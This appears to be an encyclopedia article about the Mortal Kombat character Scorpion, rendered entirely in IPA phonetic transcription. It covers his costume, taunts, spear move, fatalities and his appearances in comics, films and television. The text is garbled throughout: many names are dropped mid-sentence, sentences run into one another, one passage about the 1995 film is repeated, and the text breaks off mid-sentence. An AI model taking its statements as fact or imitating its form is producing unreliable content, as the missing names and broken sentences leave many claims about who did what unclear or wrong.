ˈjuˈɛs, hi rɪˈsivd ə nu ˈkɑstum dɪˈzaɪnd baɪ ˈkɑmɪk ˈɑrtɪst ʤɪm ɪn ðə ərˈɪʤənəl ˈmɔrtəl skrin, ˈskɔrpiən hæd ˈrɛgjələr ˈjumən aɪz, ɛz hɪz aɪˈdɛntəˌti ɛz ə ˌrɛzərˈɛktɪd ˈspɛktər wɑz mɛnt tɪ bi ə ˈmɪstəri, bət hi wɑz ˈgɪvɪn ˈsɑləd ˈjɛloʊ ər waɪt aɪz fər ˈɛvəri riˈlis ðɛˈræftər ˈstɑrtɪŋ wɪθ waɪl ˈæktərz pɔrˈtreɪɪŋ ˈskɔrpiən ɪn ˈmidiə səʧ ɛz ðə ˈfiʧər fɪlmz ənd ðə ˈmɔrtəl ˈkɑmbæt: ˈlɛgəsi wɛb ˈsɪriz wər ˈaʊtˌfɪtɪd wɪθ oʊˈpeɪk ˈkɑnˌtækt ˈlɛnzɪz ɪn ˈɔrdər tɪ əˈʧiv ðɪs ˈifɛkt. ˈskɔrpiən jɛlz wən əv tu tɔnts æt hɪz əˈpoʊnənts wɪn hi hɪts ðɛm wɪθ hɪz spɪr. ðeɪ wər vɔɪst baɪ bun ɪn ðə geɪmz ənd boʊθ ˈfiʧər fɪlmz, bət ˈoʊnli wən əv ðɛm ("kəm hir!") wɑz ˌɪnˈkludɪd ɪn ðə hoʊm pɔrts əv ənd du tɪ ˈmɛməri kənˈstreɪnts. əˈkɔrdɪŋ tɪ bun, ðə ˈsɛkənd əv ðə ˈkɛrɪktərz ˈfreɪzɪz ərˈɪʤəˌneɪtəd bɪˈkəz hi θɔt "ɪt wʊd bi ˈfəni tɪ hæv ɪm jɛl aʊt 'gɪt ˈoʊvər hir!' wɪn hi [θru ðə spɪr]," ənd hi wɑz ðəs ɪnˈkərəʤd tɪ gɪt bɪˈhaɪnd ðə ˈstudiˌoʊ ˈmaɪkrəˌfoʊn ənd ˈrɛkərd ðə ɛz kənˈfərmd baɪ ˈdænjəl ðət freɪz wɑz ərˈɪʤənəli ən aɪˈdiə əv ˈæktər ˈrɪʧərd divizio*, ɛz wɑz skəl feɪs, ˌɪnˈspaɪərd baɪ ðə ˈklæsɪk fɪlm ˈʤeɪsən ənd ðə tˈwɛnti jɪrz ˈæftər ðə fərst geɪmz riˈlis, bun ˌɪnˈkludɪd kriˈeɪtɪŋ ðə spɪr muv ɛz wɛl ɛz ðə ˈkɛrɪktər ˌɪtˈsɛlf əˈməŋ hɪz ˈpərsɪnəl haɪ pɔɪnts əv ðə ˈfrænˌʧaɪzɪz ˈhɪstəri, ˈædɪŋ: "aɪ rɪˈmɛmbər ˈpipəl ˈsɪtɪŋ ɪn maɪ ˈɔfəs ɔl deɪ ʤɪst duɪŋ ðɪs [ɔn ə ˈɛnəmi] əˈgɛn ənd əˈgɛn, laɪk 'oʊ maɪ gɑd, ðət filz soʊ gʊd.' ɪt ʤɪst bɪˈkeɪm ðə ˈkɔrnərˌstoʊn əv [ðə sɔ ðə ˈdeɪbju əv ðə ˈpɑpjələr freɪz "toasty*!", wɪʧ wɑz vɔɪst baɪ ˈsɪriz saʊnd dɪˈzaɪnər dæn ˈdʊrɪŋ ə ˌvɛriˈeɪʃən əv "ˈfleɪmɪŋ skəl" fəˈtælɪti ər æt ˈrændəm wɪn ˈɛni əv ðə geɪmz ˈkɛrɪktərz ˈlændɪd ən. əˈkɔrdɪŋ tɪ təˈbaɪəs, ɪt fərst ərˈɪʤəˌneɪtəd ɛz "jʊr toʊst!", wɪʧ wɑz ə tɔnt ˈbændid əˈməŋ ðə dɪˈzaɪnərz ˈdʊrɪŋ ˈsɪgnəʧər ˈspɛʃəl muv θruaʊt ðə ˈsɪriz həz ɪm ˈhərlɪŋ ə spɪr (dɪˈskraɪbd ɛz ə kunai*) æt hɪz əˈpoʊnənts, ˈmeɪkɪŋ ɪm ðə ˈoʊnli ˈəðər ˈkɛrɪktər ˌbiˈsaɪdz ˈkɑnoʊ tɪ hæv ə ˈfɪzɪkəl ˈwɛpən ɪn ðə fərst ˈmɔrtəl ˈkɑmbæt. ðə spɪr, əˈtæʧt tɪ ə lɛŋθ əv roʊp, ˌɪmˈpeɪlz hɪz əˈpoʊnənts θru ðə ʧɛst ənd sɛts ðɛm əp fər ə fri hɪt ɛz ˈskɔrpiən ðɛn ʤərks ɔn ðə roʊp tɪ pʊl ðɛm ɪn tɪ kloʊz reɪnʤ. ðɪs muv wɑz dɪˈzaɪnd baɪ pɛˈsinə, hu dɪd nɑt laɪk ðə ərˈɪʤənəl ˈlæsoʊ muv ɛz ɪt riˈmaɪndɪd ɪm əv ðət əv ˈwəndər ənd ˌɪnˈspaɪərd baɪ ðə ˈeɪnʧənt ˈeɪʒən ˈwɛpənz noʊn ɛz ə roʊp hɪz ˈəðər ˌɪnˈkəmbənt ˈspɛʃəl θruaʊt ðə ˈsɪriz, seɪv fər ˈdɛdli əˈlaɪəns, həz bɪn hɪz ˈtɛləˈpɔrt pənʧ, wɛr hi flaɪz ˈdʊrɪŋ ˈbætəl ənd ðɛn ˌriəˈpɪrz tɪ straɪk hɪz əˈpoʊnənt frəm bɪˈhaɪnd. ˈskɔrpiən əˈdɪʃəˌnəli geɪnd ə nu məˈnuvər ɪn ðət wɑz nɑt (ˈsigə ˈsætərn ˈmægəˌzin kɔld ɪt ə "rɪˈdɪkjələs" muv ðət "noʊ wən ˈɛvər hi wɑz kənˈsɪdərd ə ˈkɛrɪktər baɪ ɪn ðɛr 1993 ˈkɛrɪktər ˈræŋkɪŋz, ˈreɪtɪŋ ɪm eɪθ aʊt əv ðə geɪmz twɛlv ənd dɪˈskraɪbɪŋ boʊθ ɪm ənd ɛz "ˈfɔrmərli ə ˈkɛrɪktər [hu] hæv məʧ əv ə ʧæns ɪn sɪns ɔl əv ðə meɪl ˈnɪnʤəz hæv səm pur ˈmæʧəps," wɪθ ˈskɔrpiən ˈfɛriŋ ðə wərst əˈgɛnst ənd ɛd ˈloʊməz əv ˈsigə ˈsætərn ˈmægəˌzin dɪˈskraɪbd ðə ˈkɛrɪktər ɛz ˈhævɪŋ "ˈsɪmpəl jɛt ˈifɛktɪv" ˈspɛʃəl muvz ɪn ðət "meɪk ɪm gʊd fər bɪˈgɪnərz, [wɪʧ] ˈdəzənt stɑp ɪm frəm biɪŋ ə ˈjusfəl ˈkɛrɪktər," waɪl hɪz "ˈtrəsti" spɪr wɑz "ˈpərˌfɪkt fər ˈsɛtɪŋ əp gamespy*, ɪn ðɛr dɪˈsɛpʃən walkthrough*, dɪˈskraɪbd ðə ˈkɛrɪktər ɛz "ə ˈkɛrɪktər ðət həz strɛŋθs ɪn ɛz wɛl ɛz ɪn ˈspɛʃəl ənd ˈnɔrməl ðeɪ əˈdɪʃəˌnəli dɪˈskraɪbd ðə spɪr ɛz "ˈjusfəl ɛz ˈɛvər" ɪn ˌɑrməˈgɛdən, ˈædɪŋ, "bɪtˈwin [ðət ənd hɪz] ˈəðər ˈspɛʃəl muvz ˈskɔrpiən ˈprɪti məʧ həz ˈɛvriˌθɪŋ ˈprimə geɪmz' ˈstrætəʤi gaɪd kənˈsɪdərd ˈskɔrpiən tɪ bi wɪθ noʊ dɪˈstɪŋkt ˈwiknəsɪz ər ædˈvæntɪʤɪz, waɪl ˈwɪnɪŋ mɔr ðən hæf əv hɪz faɪts əˈgɛnst ðə geɪmz ˈəðər hi ɪz ˈɔlsoʊ ə ˈkɛrɪktər fər boʊθ ðə ˈvərsəz ənd ˈstɔri moʊdz ɪn ˈʃɑoʊˌlɪn məŋks, wɛr hɪz muv sɛts ɪn ðɪs geɪm ər ˈlɑrʤli aɪˈdɛntɪkəl tɪ lju wɪθ səm ərˈɪʤənəl ˈsɪgnəʧər ˈfɪnɪʃɪŋ muv frəm ðə ərˈɪʤənəl geɪm əp ənˈtɪl ˈmɔrtəl ˈkɑmbæt 4 wɑz hɪz "faɪər brɛθ" fəˈtælɪti, ɪn wɪʧ hi riˈmuvz hɪz mæsk tɪ rɪˈvil ə skəl raɪt ˌbiˈfɔr ˈɪməˌleɪtɪŋ hɪz əˈpoʊnənt. ə ˌvɛriˈeɪʃən əv ðɪs ˈfɪnɪʃər wɑz ˌɪnˈkludɪd ɪn: ˈɛnərɪŋ ə ˈdɪfərənt ˌkɑmbəˈneɪʃən ˈædɪd ðə ˈspoʊkən "toasty*!" freɪz ðət ˌsaɪməlˈteɪniəsli əˈpɪrd ɔn ðə skrin. waɪl ðə "faɪər brɛθ" wɑz brɔt bæk fər ˈmɔrtəl ˈkɑmbæt ˈvərsəz. ˌdiˈsi ˈjunəˌvərs ɪn 2008 hɪz spɪr həz ˈəðərˌwaɪz sərvd ɛz hɪz ˈpraɪˌmɛri tul ɪn hɪz fəˈtælɪtiz ɪn ðə θˌrizdɪˈmɛnʃənəl geɪmz, frəm ˌɪmˈpeɪlɪŋ hɪz əˈpoʊnənts θru ðə hɛd ənd ðɛn ðɛm ɪn ˈdɛdli əˈlaɪəns, ˈjuzɪŋ ɪt tɪ jæŋk ɔf ðɛr lɪmz ɪn dɪˈsɛpʃən, ənd ˈplənʤɪŋ ɪt ˈɪntu ðɛr ʧɛst ˌbiˈfɔr ˈkɪkɪŋ ðɛm θru ə ˈpɔrtəl ðət lɛft ˈnəθɪŋ bət ə skɪnd kɔrps ˈhæŋɪŋ frəm ðə ʧeɪn ɪn ("ˈnɛðər geɪt"). hɪz ˈsɛkənd fəˈtælɪti ɪn ðə riˈbut, "splɪt dɪˈsɪʒən", hæd ˈskɔrpiən ˈjuzɪŋ wən əv hɪz sɔrdz tɪ hæk hɪz əˈpoʊnənt tɪ ˈpisɪz. ˈskɔrpiən wʊd ˌɪndərˈɛkˌtli pleɪ ə roʊl ɪn ðə ˌfæbrɪˈkeɪʃən əv ˌnɑnəgˈzɪstənt ˈkɛrɪktər wɪn ˌɪˌlɛkˈtrɑnɪk ˈgeɪmɪŋ ˈmənθli ˈpəblɪʃt ə ˈdɑktərd əv ˈskɔrpiən frəm ðə ərˈɪʤənəl geɪm ɪn lɔt əv ˈəðər ˈkɛrɪktərz ɪn laɪk kəˈmiliən ˈjuzɪz hɪz ˈtɛmplət 39 ðɪs ˈsəbsəkwəntli spɔnd fɔls pleɪər ˈrumərz əv ə glɪʧ ðət wʊd tərn spraɪt rɛd wɪθ ðə neɪm "ˈɛrər ˈmækroʊ" əˈpɪrɪŋ ɪn ðə ˈɛnərʤi bɪˈkeɪm ɪn ɪn wɪʧ hi wɑz ə rɛd ˈpælət swɑp əv ˈskɔrpiən hu ʃɛrd hɪz ˈtɛləˈpɔrt pənʧ. ˈəðər ˈmidiə ˈɛdət ˈlɪtərəʧər ˈɛdət ɪn ʤɛf 1995 novelization*, sɛt ˌbiˈfɔr ðə fərst geɪm, ˈskɔrpiən pleɪz ə ˈmaɪnər roʊl ənd hɪz ˈdiviˌeɪts frəm ðə geɪmz, ɛz hi ɪz ˈsəmθɪŋ əv ə ˌkɑmbəˈneɪʃən əv ə ˈfɑðər ənd sən ˌɪnˈstɛd əv ən ˌɪndəˈvɪʤəwəl ˈnɪnʤə ˈspɛktər. ðə ˈfɑðər, ə ˈfɔrmər lɪn ˈmɛmbər tərnd neɪmd jɔŋ pɑrk, wɑz kɪld baɪ ɪn frənt əv pɑrks ˈfæməli ənd hɪz ˈbɑdi dəmpt ˈɪntu ə kəˈnæl. ˈspɪrɪt ˈmərʤɪz wɪθ hɪz jəŋ sən ˈbɑdi ɪn ˈɔrdər fər ðə ˈlætər tɪ sik riˈvɛnʤ ˈəndər ðə fɔrm əv ˈskɔrpiən, ˈdʊrɪŋ wɪʧ hɪz ˈkɑstum ənd ˈɑrmər ˈmæʤɪkəli əˈpɪr ɔn hɪz ˈbɑdi. wɪn ˈskɔrpiən ˈʧælənʤɪz tɪ ˈbætəl ɪn hoʊps əv əˈvɛnʤɪŋ hɪz ˈfɑðərz ˈmərdər, ðeɪ du ˈnəθɪŋ mɔr ðən ɪksˈʧeɪnʤ wərdz ˌbiˈfɔr sɛts ɔf ə smoʊk bɔm ənd ɪˈskeɪps. ˈskɔrpiən ˈnɛvər ˈjuzɪz hɪz spɪr əˈsaɪd frəm ə sin ɪn wɪʧ hi ʃuts ɪt æt ə tri ɛz ə tɛst ˈʃɔrtli ˈæftər hɪz wɪθ ðə ɪkˈsɛpʃən əv ðə ˈnɑvəl, ˈskɔrpiən həz bɪn pɔrˈtreɪd ɪn ˈɔltərˌneɪt ˈmɔrtəl ˈkɑmbæt ˈmidiə ɛz ən ænˈtægənəst, ənd hɪz spɪr wɑz ˈnɛvər juzd ɪn ˈɛni sɔrt əv ˈgræfɪk ˈneɪʧər ɛz ɪn ðə geɪmz. ɪn ðə ˈmɔrtəl ˈkɑmbæt ˈsɪriz prəˈdust baɪ ˈmæləbu ˈkɑmɪks, hi ɪz ˈsɪmpli ə ˈspɛktər kənˈsumd baɪ riˈvɛnʤ əˈgɛnst, ənd hɪz spɪr wɑz ʧeɪnʤd tɪ ə ˈwɛpən rɪˈzɛmbəlɪŋ ə spaɪkt ˈmɔrnɪŋ stɑr ðət wɑz əˈtæʧt tɪ ə lɛŋθ əv ˈiðər ʧeɪn ər roʊp. ən ˈɔltərd ˈvərʒən əv hɪz ˌkɑnfrənˈteɪʃən wɪθ frəm ðə ˈmɪdˌweɪ ˈkɑmɪk wɑz ɪkˈspændɪd ɪn ðə fərst ˈɪʃu əv ðə 1994 bləd ˈθəndər ˈmɪnɪˌsɛriz, baɪ weɪ əv ə ˈflæʃˌbæk əv ðɛr ˈfeɪtfəl ˈbætəl ðət ɛndz wɪθ ˈskɔrpiən biɪŋ kɪld ˈskɔrpiən, əˈlɔŋ wɪθ ðə ˈəðər ˈsɪriz ˈkɛrɪktərz frəm ðə fərst geɪm, siks tɪ sɑlv ɔl ðə ˈrɪdəlz ˌɪnˈsaɪd ˈmɪstɪkəl toʊm, ðə taʊ ðə zɑn, ɪn ˈɔrdər tɪ geɪn ˈæbsəˌlut paʊər (wɪʧ noʊ wən əˈkɑmplɪʃɪz). ɪn ðə θərd ˈɪʃu, ðə kəmˈbætənts ər ɔl ˌɪmˈprɪzənd ˌɪnˈsaɪd ˈdənʤən ˌbiˈfɔr ˈskɔrpiən əˈpɪrz ənd friz ðɛm frəm ðɛr ənd ɪn ðə fɔrθ ˈɪʃu, wɪn ðə ˈfaɪtərz ər ˈstrændɪd ɪn ˈæftər friz ðɛm frəm ðə ˈdənʤən, ˈskɔrpiən kɪlz ˈhaɪˌdroʊ, ə lɪn kəmˈpænjən əv kriˈeɪtɪd ɪkˈsklusɪvli fər ðə ˈsɪriz. ðɛn dɪˈstrɔɪz ˈmɔrtəl fɔrm ɪn ə kwɪk ˈbætəl, ənd ˈskɔrpiən (naʊ ən ˌæpərˈɪʃən) ɪz ðɛn ˈdrɪvən ɔf baɪ, hu ðɛn dɪˈklɛrz ðət wɑz naʊ ˈəndər hɪz ˈskɔrpiən wɑz əˈdɪʃəˌnəli ˈfiʧərd ɪn ə ˈspɛʃəl 0 ˈɪʃu ɛz ðə ˈsɛntərˌpis əv ə ʃɔrt ˈstɔri ˈtaɪtəld kombatants*, wɪʧ wɑz ərˈɪʤənəli ˈpəblɪʃt praɪər tɪ ðə ˈmɪnɪˌsɛriz ənd həz ɪm ˈfeɪsɪŋ wəns mɔr ɛz ðə ˈəðər kəmˈbætənts sɪŋ hɪz ˈpreɪzɪz ɪn ðə ðə fərst peɪʤ əv ðə θərd ˈɪʃu əv bləd ˈθəndər, wɪʧ ʃoʊd ˈskɔrpiən ˈhərlɪŋ hɪz ˈwɛpən æt ən, wɑz ə ˈdupləˌkeɪt əv kombatants*' ˈtaɪtəl ˈdʊrɪŋ ðə "ˈtʊrnəmənt ɪˈdɪʃən" kənˈkluʒən əv ðə ˈmɪnɪˌsɛriz, ˈskɔrpiən ˈluzɪz ə faɪt tɪ, hu hæd stɑpt ɪm bɪˈfɔˌrhænd frəm ˈkɪlɪŋ ən ˌənˈkɑnʃəs. ɪn ðə 1995 ˈmɪnɪˌsɛriz, ˈɛmpərər ʃaʊ kɑn rɪˈtərnz ˈskɔrpiən tɪ ðə ˈlɪvɪŋ wərld ˈjuzɪŋ ə ˈmɪstɪkəl ʤɛm kɔld ðə, wɪʧ ˈɔlsoʊ əˈlaʊz kɑn tɪ ˌrɛzərˈɛkt ən ˈɑrmi əv ˈsoʊlʤərz ˈəndər hɪz kənˈtroʊl wɪθ ˈskɔrpiən ɛz hɪz ˈʤɛnərəl; hɪz ˈɑrmi rɪˈpleɪsɪz ðə mˈjutənts ðət ɪnˈgroʊst hɪz ræŋks. wən əv ðə ˈwɔrjərz ˈəndər kəˈmænd wɑz ðə məŋk ˈduoʊ ʃæŋ, hu hæd bɪn kɪld baɪ ɪn ðə bləd ˈθəndər ˈmɪnɪˌsɛriz ənd wɑz ˌrɛzərˈɛktɪd bət stɪl meɪnˈteɪnd ə maɪnd əv hɪz oʊn, ənd ˈðɛrˌfɔr ˈwɔntɪd tɪ ɪˈskeɪp kɑnz kənˈtroʊl; ˈskɔrpiən ˈðɛrˌfɔr ˈfeɪtəli stæbz ʃæŋ θru ðə hɑrt ɪn ə ˈmərsi ˈkɪlɪŋ ˌbiˈfɔr dɪˈstrɔɪɪŋ ðə ɪn ə 1995 ˈfiʧərɪŋ, ˈtaɪtəld "babality*", ˈskɔrpiən stɪl pəˈzɛsɪz ðə ənd əˈtɛmpts tɪ æbˈdəkt ən mˈjutənt ˈbeɪbi hu ɪz ˈəndər prəˈtɛkʃən, bət hi ɪz θˈwɔrtɪd baɪ ˌbiˈfɔr dɪˈstrɔɪz ðə fɪlm ənd ˈtɛləˌvɪʒən ˈɛdət ˈmɔrtəl ˈkɑmbæt. hɪz ˌɪˈnɪʃəl dɪˈzaɪn hæd lʊkt "ˈnəθɪŋ laɪk ɪn ðə geɪmz", bət wɑz ʧeɪnʤd krɪs ɛz ˈskɔrpiən ɪn ðə 1995 fɪlm. hɪz ˌɪˈnɪʃəl dɪˈzaɪn hæd lʊkt "ˈnəθɪŋ laɪk ɪn ðə geɪmz", bət wɑz ʧeɪnʤd ˈleɪtər ˈskɔrpiən wɑz pleɪd baɪ krɪs ɪn ðə 1995 ˈmɔrtəl ˈkɑmbæt fɪlm. hɪz ˈraɪvəlri wɪθ ɪz ˈoʊnli ˈmɛnʃənd ɪn ˈpæsɪŋ baɪ ɪn ðə ˈstɔriˌlaɪn, wɪʧ ˌɪnˈstɛd hæd ðɛm boʊθ ˈsərvɪŋ ɛz hɪz sleɪvz ˈəndər hɪz kəˈmænd. spɪr wɑz ə ˈlɪvɪŋ ˈkriʧər ðət ʃɑt frəm ə slɪt ɪn hɪz pɑm ənd kʊd flaɪ tɪ ə ˈlɪmɪtɪd ɪkˈstɛnt. ɪt ɪz fərst sin wɪn hi ɪnˈgeɪʤɪz ɪn ə ˈstænˌdɔf wɪθ ˈʤɑni keɪʤ ɔn ʃɪp, ənd ˈleɪtər ˈdʊrɪŋ hɪz faɪt ɪn ðə ˈtʊrnəmənt əˈgɛnst keɪʤ ðət bɪˈgɪnz ɪn ə ˈrəbər tri ˈfɔrɪst, wɪn ðə spɪr dɪˈrɛkli ˈfɑloʊz keɪʤ ənˈtɪl ɪt goʊz kəmˈplitli tɔt wɪθ keɪʤ ʤɪst aʊt əv riʧ. ˈskɔrpiən faɪərz ðə ˈkriʧər ə ˈsɛkənd taɪm, bət keɪʤ ˈdɑʤɪz ɪt ənd ɪt ˈfeɪtəli sˈmæʃɪz ˈɪntu ə tri. ðə faɪt kənˈtɪnjuz ɪn lɛr ənˈtɪl keɪʤ ˈfaɪnəli wundz ˈskɔrpiən wɪθ ˈsɛvərəl dɪˈskɑrdɪd ˈwɛpənz raɪt ˈæftər ˈskɔrpiən pərˈfɔrmz hɪz "faɪər brɛθ" fəˈtælɪti ɛz ən əˈfɛnsɪv muv, ˈkɔzɪŋ ˈskɔrpiən tɪ bərst ˈɪntu fleɪmz ɛz hi blidz ə gloʊɪŋ bləd ˌbiˈfɔr ɪkˈsploʊdɪŋ ɪnˈtaɪərli. lɛr wɑz kənˈstrəktɪd ˌɪnˈsaɪd ən ˈɛrˌpleɪn ˈhæŋər ənd wɑz nɑt ˌɪnˈkludɪd ɪn ðə skrɪpt nɔr ðə ˈmuvi novelization*, ɪn wɪʧ keɪʤ ˈmɪrli nɑks ˈskɔrpiən aʊt ɪn ðə ˈfɔrɪst wɪθ hɪz ˈʃæˌdoʊ kɪk. ɪn ðə 1995 ˈænəˌmeɪtɪd fɪlm ˈmɔrtəl ˈkɑmbæt: ðə ˈʤərni bɪˈgɪnz, ˈskɔrpiən wɑz əˈgɛn dɪˈpɪktɪd ɛz ə ˈhɛnʧmən tɪ ˈɑpəzɪt. ɔn ðə ˈɔrdərz, ðə ˈduoʊ faɪt lju kɑŋ, ˈʤɑni keɪʤ, ənd ˈsoʊnjə bleɪd ənd kəm kloʊz tɪ dɪˈfitɪŋ ðɛm ənˈtɪl ˌɪntərˈvinz ənd pʊts ðə faɪt tɪ ə hɔlt. ðə riˈleɪʃənˌʃɪp əv ˈskɔrpiən ənd ɪz ɪkˈsplɔrd ˈdʊrɪŋ ðə kɔrs əv ðə fɪlm ɪn ə faɪt ˈsikwəns. hi wɑz ðə ˈoʊnli ˈkɛrɪktər ɪn ðə fɪlm hu hæd noʊ ˈdaɪəˌlɔg. ˈskɔrpiən meɪd wən əˈpɪrəns ɪn ðə 1996 ˈænəˌmeɪtɪd ˈsɪriz ˈmɔrtəl ˈkɑmbæt: dɪˈfɛndərz əv ðə rɛlm ɪn ðə ˈsɛkənd ˈɛpɪˌsoʊd ("stɪŋ əv ðə ˈskɔrpiən"). hɪz ˈraɪvəlri wɪθ ɪz ˈveɪgli ɪkˈsplɔrd, ɛz noʊ ɪkˈsplɪsət ˈmɛnʃən ɪz ˈɛvər meɪd əv ˈkɪlɪŋ ɪm. ˈskɔrpiən ˌɪnˈstɛd sərvz ɛz ən ˌɪndɪˈpɛndənt ˈɛntɪti əv ˈivəl hu ɪz fərst sin ɪn ə ˈflæʃˌbæk ˈsikwəns biɪŋ ˈbænɪʃt tɪ "ðə rɛlm əv lɔst soʊlz" (dɪˈzaɪnd tɪ rɪˈzɛmbəl hɪz "lɛr" steɪʤ ɪn fər ˈhævɪŋ daɪd wɪθ dɪˈsɑnər, ənd həz naʊ rɪˈtərnd tɪ ðə lænd əv ðə ˈlɪvɪŋ tɪ ˌrɛzərˈɛkt ðə dɪˈsɑnərd dɛd ɪn ɔl rɛlmz, əˈspɛʃəli. wɪn ənd ˈskɔrpiən ˈfaɪnəli mit, θˈrɛtənz tɪ meɪk ˈskɔrpiən peɪ fər ðə dɛθ əv hɪz klæn bət ɪz dɪˈfitɪd baɪ ə ˈsɪŋgəl kɪk tɪ ðə ˈsoʊlər ˈplɛksəs. lju kɑŋ bits ˈskɔrpiən ɪn ˈmɔrtəl ˈkɑmbæt ɪn stɛd, ənd rɪˈtərnz ˈskɔrpiən bæk tɪ ðə ˈəndərˌwərld ɛz hɪz ˈɑrmi ˌdɪsəˈpɪrz. hɪz spɪr wɑz əˈgɛn ə grin hɛd əˈtæʧt tɪ ə lɛŋθ əv goʊld ʧeɪn, wɪʧ ˈmɪrli baɪndz lju kɑŋ ˌɪnˈstɛd əv ˌɪmˈpeɪlɪŋ ɪm ˌbiˈfɔr hi breɪks fri. hi wɑz ðə loʊn ˈnɪnʤə ˈkɛrɪktər ɪn ðə ʃoʊ hu ˈnɛvər ənˈmæskt. ˈskɔrpiən ˈbrifli rɪˈtərnd ɪn ðə 1997 ˈsikwəl fɪlm ˈmɔrtəl ˈkɑmbæt: əˌnaɪəˈleɪʃən, wɛr hi əˈgɛn wərkt fər ə haɪər paʊər, ðɪs taɪm ʃaʊ kɑn. ˈfɑloʊɪŋ ə feɪld əˌsæsəˈneɪʃən əˈtɛmpt ɔn lju kɑŋ ənd baɪ smoʊk ənd wən əv kɑnz ɪkˌstərməˈneɪʃən skwɑdz du tɪ ðə ˌənɪkˈspɛktɪd ˌɪnərˈfɪrəns əv ðə ˈjəŋgər, ˈskɔrpiən kənˈfrənts ðə ˈtɑrgəts, bət ɛndz əp ˈdulɪŋ ˌɪnˈstɛd. ˈæftər ˌɪnkəˈpæsɪˌteɪtɪŋ, hi ˈkɪdˌnæps ənd ɪˈskeɪps θru ə ˈpɔrtəl. hi wɑz pɔrˈtreɪd baɪ j.j*. ˈpɛri, hu pleɪd cyrax*. hɪz roʊl frəm ðə fərst fɪlm ɪn ˈsɛvərəl ˈɛpɪˌsoʊdz əv ðə ˌtɛləˈvɪʒən ˈsɪriz ˈmɔrtəl ˈkɑmbæt: ˈkɑŋkwɛst wɪθ ən ˈɔrəʤən ˈdɪfərənt frəm ðət əv ðə geɪmz. ˈskɔrpiən kəˈmændz hɪz ˈləvər, pərɔn, tɪ ˈmərdər ˈsɪstər, ənd kɪlz pərɔn ɪn riˌtæliˈeɪʃən, ˈkəlməˌneɪtɪŋ ɪn ə duəl wɪʧ ɛndz ɪn ə drɔ du tɪ ðə ərˈaɪvəl əv kəŋ laʊ, siro*, ənd taja*, hu kəm tɪ eɪd. boʊθ pərɔn ənd ˈsɪstər wər ˈkɛrɪktərz kriˈeɪtɪd ɪkˈsklusɪvli fər ðə ʃoʊ. ɪn ðə 2010 ʃɔrt fɪlm ˈmɔrtəl ˈkɑmbæt: riˈbərθ, dɪˈrɛktɪd baɪ ˈkɛvɪn tancharoen*, ˈskɔrpiən, əˈdrɛst ðɛˈrɪn baɪ hɪz ril neɪm, ɪz dɪˈpɪktɪd ɛz ə ˈvɑləntɛri ˈprɪzənər biɪŋ kˈwɛsʧənd baɪ ˈdikən ˈsɪti pəˈlis ˈkæptən ˈʤæksən brɪgz rɪˈgɑrdɪŋ ən ˈəndərˌgraʊnd ˈtʊrnəmənt ˈhoʊstɪd baɪ. ˈsoʊnjə bleɪd ʃoʊz əp leɪt ɪn ðə fɪlm wɪθ ə ˌkɑnfəˈdɛnʃəl ˈdɑkjəmɛnt ˈsteɪtɪŋ ðət ˈskɔrpiən hæd kɪld ˈbrəðər. noʊɪŋ ðət wɪl ˈɛnər ˈdɛdli ˈtʊrnəmənt, ˈskɔrpiən əˈgriz tɪ pɑrˈtɪsəˌpeɪt ənd liv noʊ wən əˈlaɪv. hi wɑz pleɪd baɪ ˈiən ˈænθɔˌni deɪl ənd əˈpɪrz ɛz ə ˈnɔrməl ˈjumən, ðoʊ hɪz aɪz ər kəmˈplitli waɪt ənd hɪz ˈsɪgnəʧər ˈwɛpən dɪz əˈpɪr. deɪl hɪz roʊl ɛz ˈskɔrpiən ɪn boʊθ ˈsizənz əv ˈmɔrtəl ˈkɑmbæt: ˈlɛgəsi webseries*. ɪn ə ˈɛpɪˌsoʊd ɪn ðə 2011 fərst ˈsizən, hɪz ˈstɔri teɪks pleɪs ɪn fˈjudəl ʤəˈpæn, wɪn ɪz ðə ˈlidər əv ðə ənd ə ˈfæməli mæn ˈtreɪnɪŋ hɪz jəŋ sən, jubei*, ɪn ˈkɑmbæt, məʧ tɪ hɪz waɪfs dɪsəˈpruvəl. ɪz ˈleɪtər ˈsəmənd tɪ ə ˈmitɪŋ wɪθ ðə ˈʃoʊgən, wɪʧ tərnz aʊt tɪ bi ə ruz baɪ (sub-zero*) əv ðə ˈraɪvəl lɪn klæn ɪn ˈɔrdər tɪ lʊr əˈweɪ frəm hɪz ˈvɪlɪʤ ənd liv ɪt ˈoʊpən tɪ əˈtæk, wɪʧ ˈriəˌlaɪzɪz ˈæftər hi faɪndz ðə ˈʃoʊgən ˈmərdərd ɪn ðə ˈmɪdəl əv ən ˈaɪsi roʊd. ˈæftər səbˈduɪŋ ɪn ˈbætəl, hi rɪˈtərnz tɪ hɪz ˈvɪlɪʤ tɪ faɪnd hɪz ˈfæməli sleɪn ˌbiˈfɔr hi hɪmˈsɛlf ɪz kɪld frəm bɪˈhaɪnd baɪ. əˈpɪrz wɪθ, hu rɪˈvilz hɪmˈsɛlf ɛz kwɔn kaɪ. kwɔn kaɪ ˈskɔrpiən ɛz ə ˈspɛktər ənd ˈprɑməsəz ɪm riˈvɛnʤ əˈgɛnst ɪn ɪksˈʧeɪnʤ fər hɪz ˈsərvɪsɪz. ðə ˈdaɪəˌlɔg əv ˈskɔrpiən, hɪz ˈfæməli, ənd wər ɪn ˌʤæpəˈniz wɪθ ˈɪŋlɪʃ ˈsəbˌtaɪtəlz, ənd ðə juz əv spɪr ɪz ˈfeɪθfəl tɪ ðə geɪmz fər ðə fərst taɪm ɪn ˈɛni ˈɔltərˌneɪt ˈmidiə ɪn ðət ɪt ˈæˌkʧuəli ʧɛst ˌbiˈfɔr ˈskɔrpiən rilz ɪm ɪn fər ə hɪt, bət noʊ bləd ɪz ʃoʊn. ɪn ðə 2013 ˈsɛkənd ˈsizən, ə ˈflæʃˌbæk ʃoʊz ðət ənd wər ˈʧaɪlˌdhʊd frɛndz bət ˈdrɪvən əˈpɑrt baɪ ðə mˈjuʧuəl dɪsˈdeɪn əv ðɛr klænz. tu ˈdɛkeɪdz ˈleɪtər, ðə ənd lɪn hæv meɪd səm ˈɛfərt təˈwɔrdz ˌrɛkənˌsɪliˈeɪʃən, bət, waɪl wɪθ hɪz waɪf ənd sən, ɪnˈkaʊnərz ˈjəŋgər ˈbrəðər, ljæŋ, hu prəˈvoʊks ə faɪt ənd ɪz kɪld baɪ. ənd ˈleɪtər mit tɪ dɪˈskəs ðə ˈɪnsədənt, ənd boʊθ ər ʃoʊn tɪ bi ˈɑnərəbəl mɛn kəˈmɪtɪd tɪ meɪnˈteɪnɪŋ ðə trus bɪtˈwin ðɛr klænz. swɛrz ðət ðɛr wɪl bi noʊ 